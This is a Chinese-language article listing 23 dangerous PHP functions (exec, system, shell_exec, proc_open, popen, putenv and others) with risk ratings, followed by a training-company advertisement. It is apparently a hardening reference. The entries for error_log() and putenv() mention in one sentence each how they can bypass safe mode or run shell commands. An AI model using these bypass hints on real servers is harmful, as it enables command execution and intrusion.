需要注意的PHP危险函数

合集下载

1 x网络安全评估测试题库与答案

1 x网络安全评估测试题库与答案

“X网络安全评估测试题库与答案1、(单选题)Windows操作系统中查看ARP缓存表的命令是()。

(2分)A^ arp -aB、arp -dC、arp -sD、arp ~n答案:A2、(单选题)密码使用的场景通讯类不包括下列哪个?(10分)A、QQB、微信C、陌陌D、购物账户答案:D3、(单选题)Burp的Intruder模块中,哪种模式只使用一个payload,每次替换所有位置?(10分)A、SniperB、Battering ramC、PitchforkD> Cluster bomb答案:B4、(单选题)以下哪种攻击不能获取用户的会话标识?(10分)A、SQL注入B、XSSC、会话凭证D、凭证预测答案:A5、(判断题)一个高级用户可以访问低级用户信息是向上越权(10分)A .正确B、错误答案:B6、(单选题)《网络安全法》规定,网络运营者应当制定(),及时处置系统漏洞计算机病毒网络攻击网络侵入等安全风险。

(10分)A、网络安全事件应急预案B、网络安全事件补救措施B、net startC、quserD^ tasklist答案:c55、(单选题)ARP协议封装格式最后4字节是以下哪个选项?(10分)A .目标IP地址B、源 MACC、硬件类型D、协议类型答案:A56、(单选题)setcookie ()函数在不设置时间情况下,Cookie默认保存多长时间(2分)A、浏览器关闭cookie失效B、1小时C、12小时D、24小时答案:A57、(判断题)防病毒软件主要是用来检测和抵御可通过各种渠道进行传播、扩散的计算机病毒。

(10分)A、正确B、错误答案:A58、(单选题)以下哪种方法不能执行命令()(2分)A、systemwhoamisystem* whoami'C、system' evalwhoami.D^ eval' systemwhoami5答案:C59、(单选题)服务器的响应头中,一般不会包含哪一个字段(1分)A、Set-CookieB、Content-TypeC^ CookieD、Connection答案:C60、(单选题)TCP/IP模型分几层?( 10分)A、4B、5C、6D、7答案:A61、(单选题)httponly属性起到的作用是()(2分)A、防御XSS攻击B、对HTTP数据包加密C、仅允许HTTPS协议读取cookieD、禁止除HTTP/HTTPS以外的协议读取cookie答案:D62、(单选题)alert ()函数是用来干什么的?(10分)A、弹窗B、打开新页面C、关闭当前页面D、重新打开页面答案:A63^ (单选题)httponly可以防御什么?(10分)A^ Js代码获取cookieB、Js代码获取网页内容C、中间人攻击D、会话凭证预测答案:A64、(单选题)关于命令执行漏洞,以下说法错误的是?(10分)A、该漏洞可导致黑客控制整个网站甚至控制服务器B、命令执行漏洞只发生在PHP的环境中C、没有对用户输入进行过滤或过滤不严可能会导致此漏洞D、命令执行漏洞是指攻击者可以随意执行系统命令答案:B65、(单选题)防火墙通常被比喻为网络安全的大门,但它不能?(10分)A、阻止基IP包头的攻击B、阻止非信任地址的访问C、鉴别什么样的数据包可以进出企业内部网D、阻止病毒入侵答案:D66、(判断题)浏览器手动选择代理后,关闭burp仍然能够正常上网(1 分)A、正确B、错误答案:B67、(单选题)OSI参考模块分几层?(10分)A、4B、5C、6D、7答案:D68、(判断题)任何个人和组织有权对危害网络安全的行为向网信电信公安等部门举报(10分)人、正确B、错误答案:A69、(单选题)HTTP协议建立在以下哪一个协议的基础上(1分)A、UDPB、TCPC、SSLD、FTP答案:B70、(判断题)XSS跨站脚本漏洞主要影响的是客户端浏览用户(10分)A、正确B、错误答案:A71、(判断题)网络运营者应当对其收集的用户信息严格保密(10分)A、正确B、错误答案:A72、(单选题)OSI第一层是哪一层?(10分)A、物理层B、链路层C、网络层D、传输层答案:A73、(单选题)网络运营者应当为()国家安全机关依法维护国家安全和侦查犯罪的活动提供技术支持和协助。

C中不安全的函数以解决办法汇总

C中不安全的函数以解决办法汇总

C中不安全的函数以解决办法汇总在C语言中,由于其较低级的特性,存在许多不安全的函数。

这些函数可能会导致潜在的内存泄漏、缓冲区溢出和安全漏洞等问题。

为了解决这些问题,需要采取一些措施来保证代码的安全性。

下面是一些常见的不安全函数及其解决办法。

1. strcpy函数:strcpy函数用于将一个字符串复制到另一个字符串中,但是没有对目标字符串的大小进行检查,容易导致缓冲区溢出。

解决办法是使用strncpy函数,它可以指定目标字符串的大小,避免溢出问题。

2. strcat函数:strcat函数用于将一个字符串连接到另一个字符串的末尾,但也没有对目标字符串的大小进行检查,容易导致缓冲区溢出。

解决办法是使用strncat函数,同样可以指定目标字符串的大小。

3. gets函数:gets函数用于从标准输入读取一行字符串,但没有对目标缓冲区的大小进行检查,容易导致缓冲区溢出。

解决办法是使用fgets函数,它可以指定读取的最大字符数,避免溢出问题。

4. scanf函数:scanf函数用于从标准输入读取格式化数据,但没有对输入数据的长度进行检查,容易导致缓冲区溢出。

解决办法是使用带有限制符的scanf 函数,例如"%Ns",其中N为接受的最大字符数。

5. sprintf函数:sprintf函数用于将格式化的数据写入字符串,但同样存在缓冲区溢出的问题。

解决办法是使用snprintf函数,它可以指定输出字符串的最大长度,避免溢出问题。

6. strtok函数:strtok函数用于将字符串分割成多个子字符串,但是并不是线程安全的,并且可能会修改原始字符串。

解决办法是使用strtok_r函数,它是线程安全的,并且不会修改原始字符串。

7. malloc函数:malloc函数用于动态分配内存,但没有对内存分配失败进行检查,可能导致内存泄漏或崩溃。

解决办法是在分配内存前,使用try-catch语句检查分配是否成功,并在分配失败时进行错误处理。

PHP木马大全一句话的PHP木马的防范

PHP木马大全一句话的PHP木马的防范

PHP⽊马⼤全⼀句话的PHP⽊马的防范php后门⽊马常⽤的函数⼤致上可分为四种类型: 1. 执⾏系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执⾏与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3. ⽂件包含与⽣成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 1. 执⾏系统命令: system 函数 //test.php?cmd=ls system($_GET[cmd]); passthru 函数 //test.php?cmd=ls passthru($_GET[cmd]); shell_exec 函数 //test.php?cmd=ls echo shell_exec($_GET[cmd]); exec 函数 //test.php?cmd=ls $arr = array(); exec($_GET[cmd],$arr); print_r($arr); popen 函数 //test.php?cmd=ls $handle = popen('$_GET[cmd], 'r'); $read = fread($handle, 2096); echo $read; pclose($handle); proc_open 函数 //test.php?cmd=ls $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ); $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); fclose($pipes[0]); $output = array(); while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); print_r($output); 2. 代码执⾏与加密: eval 函数 //最常见的⼀句话⽊马 eval($_POST[cmd]); base64_decode 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); gzinflate 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); gzuncompress 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); gzdecode 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); str_rot13 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST[cmd]); eval(str_rot13('riny($_CBFG[pzq]);')); assert 函数 //类似eval函数 assert($_POST[cmd]); call_user_func 函数 //使⽤call_user_func调⽤assert call_user_func('assert',$_POST[cmd]); call_user_func 函数 //使⽤call_user_func调⽤任意函数 //test.php?a=assert&cmd=phpinfo() call_user_func($_GET[a],$_REQUEST[cmd]); 组合代码 //组合⽅式调⽤任意函数 //test.php?a=assert&cmd=phpinfo() $_GET[a]($_REQUEST[cmd]); 3. ⽂件包含与⽣成: require 函数 //包含任意⽂件 //test.php?file=123.jpg require($_GET[file]); require_once 函数 //包含任意⽂件 //test.php?file=123.jpg require_once($_GET[file]); include 函数 //包含任意⽂件 //test.php?file=123.jpg include($_GET[file]); include_once 函数 //包含任意⽂件 //test.php?file=123.jpg include_once($_GET[file]); file_get_contents 函数 //读取任意⽂件 //test.php?f=config.inc.php echo file_get_contents($_GET['f']); file_put_contents 函数 //⽣成任意内容⽂件 //a=test.php&b= file_put_contents($_GET[a],$_GET[b]); fputs 函数 //⽣成任意内容⽂件 //a=test.php&b= fputs(fopen($_GET[a],"w"),$_GET[b]); 4. .htaccess: SetHandler //可将php代码存于⾮php后缀⽂件,例: x.jpg //将以下代码写⼊.htaccess中 //连接x.jpg即可启动后门⽊马出处 SetHandler application/x-httpd-php auto_prepend_file //可将php代码存于⾮php后缀⽂件,例: 123.gif //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径 //访问⽹站上任何php⽂件都会启动该php后门⽊马 //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 php_value auto_prepend_file c:/apache2/htdocs/123.gif auto_append_file //类似auto_prepend_file //可将php代码存于⾮php后缀⽂件,例: 123.gif //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径 //访问⽹站上任何php⽂件都会启动该php后门⽊马 php_value auto_append_file c:/apache2/htdocs/123.gif防范⽅法:通过禁⽌危险函数 php.ini中设置disable_functions详情可以参考下https:///article/19292.htm。

PHP文件包含漏洞详解

PHP文件包含漏洞详解

PHP文件包含漏洞详解(1)一、什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。

Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。

Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。

如果已经执行一遍那么就不重复执行了。

Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。

所以我就不重复了。

php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。

Php4存在远程&本地,php5仅存在本地包含。

二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。

在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。

c中不安全的函数

c中不安全的函数

c中不安全的函数C语言中的不安全函数C语言是一种历史悠久且广泛应用的编程语言,但同时也存在一些不安全的函数,这些函数可能会导致程序运行时的安全漏洞和错误。

本文将介绍一些常见的不安全函数,并提供一些替代方案,以帮助开发人员编写更安全的代码。

1. strcpy函数strcpy函数用于将一个字符串复制到另一个字符串中,但它没有对目标字符串的长度进行检查,容易造成缓冲区溢出。

为了解决这个问题,可以使用strncpy函数,它可以指定要复制的最大字符数,避免溢出。

2. strcat函数strcat函数用于将一个字符串连接到另一个字符串的末尾,但它也没有检查目标字符串的长度,容易导致缓冲区溢出。

替代方案是使用strncat函数,并指定最大字符数。

3. gets函数gets函数用于从标准输入读取字符串,但它无法检查输入的长度,容易导致缓冲区溢出。

应该使用fgets函数,它可以指定要读取的最大字符数,并且可以安全地处理输入的长度。

4. scanf函数scanf函数用于从标准输入读取格式化数据,但它也无法检查输入的长度,容易导致缓冲区溢出。

应该使用scanf函数的安全版本scanf_s,并指定要读取的最大字符数。

5. sprintf函数sprintf函数用于将格式化的数据写入字符串中,但它没有对目标字符串的长度进行检查,容易导致缓冲区溢出。

可以使用snprintf函数,它可以指定最大字符数,并确保不会溢出。

6. memmove函数memmove函数用于在内存中移动一段数据,但它没有检查源和目标内存区域的重叠情况,可能导致未定义的行为。

应该使用memmove函数的安全版本memmove_s,并指定要移动的字节数。

7. system函数system函数用于执行系统命令,但它存在安全风险,因为可以执行任意命令。

为了避免潜在的安全问题,应该使用更安全的函数,如exec系列函数,它可以指定要执行的可执行文件和参数。

8. rand函数rand函数用于生成随机数,但它的随机性不够好,容易被猜测。

导致文件包含的函数

导致文件包含的函数

导致文件包含的函数导致文件包含的函数文件包含(File Inclusion)是指在程序中以可变或不可信的方式包含文件或者依赖。

这种做法在一些情况下非常方便,但同时也可能带来一些风险,因为恶意攻击者可能会利用这种机制来读取系统文件,执行恶意代码,甚至获取系统权限。

因此,为了降低这些风险,我们需要了解一些与文件包含相关的函数。

1. include()include()函数是PHP中最常用的文件包含函数之一。

它用于将指定的文件包含到调用的脚本中。

包含的文件可以是本地文件,也可以是远程文件(通过URL指定)。

include()函数会将文件中的内容原封不动地插入到调用脚本的相应位置,因此调用脚本中的变量、函数等与被包含文件中的变量、函数等具有相同的作用域。

2. require()与include()函数类似,require()函数也用于将指定的文件包含到调用脚本中。

不同的是,如果被包含的文件不存在或无法打开,在include()函数中会产生警告,但脚本会继续执行;而在require()函数中,如果出现这种情况,会产生致命错误,脚本会停止执行。

3. include_once()和require_once()这两个函数与include()和require()类似,区别在于它们只会包含一次指定的文件。

如果之前已经包含过这个文件,就不会再次包含。

这样可以避免重复定义变量、函数等问题,提高脚本的执行效率。

4. eval()eval()函数用于将字符串作为PHP代码执行。

这种做法很危险,因为恶意用户可能会在字符串中插入恶意代码,导致代码执行了攻击者的命令。

因此,在使用eval()函数时必须格外谨慎,确保传入的字符串是可信的。

总结文件包含函数在程序开发中非常常用,但也会带来很大的安全风险。

如果在使用这些函数时不小心,可能会导致系统遭受攻击,导致数据泄漏等安全问题。

因此,在编写程序时一定要谨慎使用这些函数,并注意对恶意攻击的防范。

函数error用法

函数error用法函数error用法函数error是一个非常重要的PHP内置函数,它可以用于在程序执行过程中抛出错误和异常。

在开发过程中,我们经常需要使用该函数来处理和调试程序中的错误。

一、基本用法error(string $message [, int $code [, Exception $previous]])参数说明:$message:必选参数,表示错误信息。

$code:可选参数,表示错误代码,默认为0。

$previous:可选参数,表示前一个异常对象。

返回值:该函数会抛出一个异常对象,并且不会返回任何值。

二、使用示例以下是一些常见的使用示例:1. 抛出一个普通的异常try {throw new Exception('This is an exception.');} catch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), "\n"; }输出结果:Caught exception: This is an exception.2. 抛出一个带有错误代码的异常try {throw new Exception('This is an exception.', 100); } catch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), "\n";echo 'Error code: ', $e->getCode(), "\n";}输出结果:Caught exception: This is an exception.Error code: 1003. 抛出一个带有前置异常对象的异常try {throw new Exception('This is an exception.', 100);} catch (Exception $e) {throw new Exception('Another exception occurred.', 200, $e); }输出结果:Fatal error: Uncaught Exception: Another exception occurred. in /path/to/file.php:xxStack trace:#0 {main}thrown in /path/to/file.php on line xx三、错误级别在使用error函数时,我们可以指定不同的错误级别,以便更好地处理程序中的错误。

php的eval函数

php的eval函数PHP的eval函数是一种非常强大和灵活的函数,它可以执行动态的PHP代码。

然而,正因为它的强大性和灵活性,eval函数也容易被滥用,从而引发一些安全问题。

在本文中,我们将探讨eval函数的使用以及如何避免一些潜在的安全隐患。

让我们来了解一下eval函数的基本用法。

eval函数可以接受一个字符串作为参数,并将这个字符串当作PHP代码进行解析和执行。

这意味着我们可以在运行时动态地生成PHP代码,并且通过eval函数来执行它。

例如,下面的代码演示了如何使用eval函数来输出一个变量的值:```$var = 'Hello, world!';eval('echo $var;');```上述代码将输出字符串"Hello, world!"。

这个例子展示了eval函数的基本用法,它可以帮助我们在运行时动态地执行一些代码。

然而,正如我之前提到的,eval函数也存在一些安全隐患。

首先,由于eval函数可以执行任意的PHP代码,它可能会被用来执行一些恶意的代码,例如删除文件、修改数据库等。

因此,在使用eval函数时,我们需要非常小心,确保传递给eval函数的代码是可信的。

由于eval函数可以执行任意的PHP代码,它还可能导致一些错误和异常。

如果我们在传递给eval函数的代码中包含了一些错误的语法或逻辑错误,那么这些错误将被直接执行,可能导致程序崩溃或产生不可预料的结果。

因此,在使用eval函数时,我们需要确保代码的正确性和稳定性。

为了避免eval函数的滥用和潜在的安全问题,我们可以采取一些措施。

首先,我们应该尽量避免使用eval函数,而是通过其他方式来实现我们的需求。

例如,如果我们需要动态地执行一些代码,可以考虑使用匿名函数或者闭包来代替eval函数。

这样可以避免直接执行字符串代码,从而减少安全风险。

如果我们确实需要使用eval函数,那么我们应该对传递给eval函数的代码进行严格的验证和过滤。

PHP常见漏洞的防范措施

PHP常见漏洞的防范措施PHP常见漏洞的防范措施目前,基于PHP的网站开发已经成为目前网站开发的主流,下面整理了一些PHP常见漏洞的防范措施,希望对大家有所帮助!1、对于Session漏洞的防范从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。

为此,这里可以用以下几种方法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie中保存的,如果更改了它的名称,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它也很难获得Session ID变量值。

2、对SQL注入漏洞的防范黑客进行SQL注入手段很多,而且灵活多变,但是SQL注人的共同点就是利用输入过滤漏洞。

因此,要想从根本上防止SQL注入,根本解决措施就是加强对请求命令尤其是查询请求命令的过滤。

具体来说,包括以下几点:一是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而不是直接把用户输入嵌入到语句中。

二是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手段来执行非法命令;三是在网站开发时尽可能避免网站出现bug,否则黑客可能利用这些信息来攻击网站;仅仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。

3、对脚本执行漏洞的防范黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进行攻击。

常见漏洞原理及防护方法

服务器会对内网进行端口扫描、对内网发起攻击 payload ,轻则触发入侵检 测系统警报,重则导致内网信息泄漏甚至内网入侵。
需防护场景
服务器会接受外部 URL 或域名,并且会发起访问的场景。
防护方案
提取访问目标的 hostname ,进行 DNS 解析,判断 IP 是否处于内网。 需要防范短链接指向内网,或者 302 跳转到内网的情况。因此需设置循环次 数,在循环次数内,每次跳转跟进都要对目标 URL 提取主机名解析 IP ,判断 IP 是 否在内网,禁止对内网访问。 若业务场景需访问目的地址可控,则对访问地址进行限制 使用 squid 搭建外网代理,设置 ACL 禁止目的地址为公司内网网段的访问。 所有出口外网的请求都经 squid 代理,可以完整地规避代码防范不周导致的 SSRF 漏洞。
由于没有限制上传文件的类型、后缀,导致任意类型文件可上传存储在服务 器。
安全威胁
危险的木马、病毒会存储在服务器,导致入侵检测系统报警。 若用户上传 HTML、SWF 等网页/flash 文件,可导致钓鱼攻击、XSS 攻击。 若用户上传 WebShell 且可执行,可导致服务器被入侵。
防护方案
1. 以下必须全部执行 ➢ 使用白名单对文件后缀进行校验 ➢ 检测 MIME 头和文件头是否与文件后缀匹配 ➢ 对保存的文件名强制随机化命名 2. 额外建议执行 ➢ 使用 Ceph 或者对象存储存放用户上传的文件,与 Web 容器隔离 ➢ 用户隐私相关的文件不可无访问控制上传到 CDN ➢ 用户隐私文件应设置权限只有属主用户才能访问 ➢ 在 Nginx 配置 urlrewrite 规则,只允许合法的 url 访问。
安全威胁
泄漏源码、泄漏系统敏感文件。
需防护场景
1. 下载服务场景:用户输入文件名,可以下载文件。 2. 文件读取场景:用户输入文件名,后台服务读取相应文件内容然后返回
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

需要注意的PHP危险函数
23个需要注意的PHP危险函数,PHP程序员们知道几个呢?
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、Web环境等信息。

危险等级:中
passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。

危险等级:高
exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。

危险等级:高
system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。

危险等级:高
chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。

危险等级:高
scandir()
功能描述:列出指定路径中的文件和目录。

危险等级:中
chgrp()
功能描述:改变文件或目录所属的用户组。

危险等级:高
chown()
功能描述:改变文件或目录的所有者。

危险等级:高
shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。

危险等级:高
proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。

危险等级:高
proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。

危险等级:高
error_log()
功能描述:将错误信息发送到指定位置(文件)。

安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。

危险等级:低
ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。

具体参见 ini_set()。

危险等级:高
ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。

危险等级:高
ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。

危险等级:高
dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。

危险等级:高
pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。

危险等级:高
syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。

危险等级:中
readlink()
功能描述:返回符号连接指向的目标文件内容。

危险等级:中
symlink()
功能描述:在 UNIX 系统中建立一个符号链接。

危险等级:高
popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

危险等级:高
stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。

危险等级:中
putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。

在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。

危险等级:高
更多知识干货分享,尽在中公优就业,>>>点击进入。

点击查看>>>中公IT优就业封闭式培训,包食宿,学费贷款,交通补贴,推荐就业。

相关文档
最新文档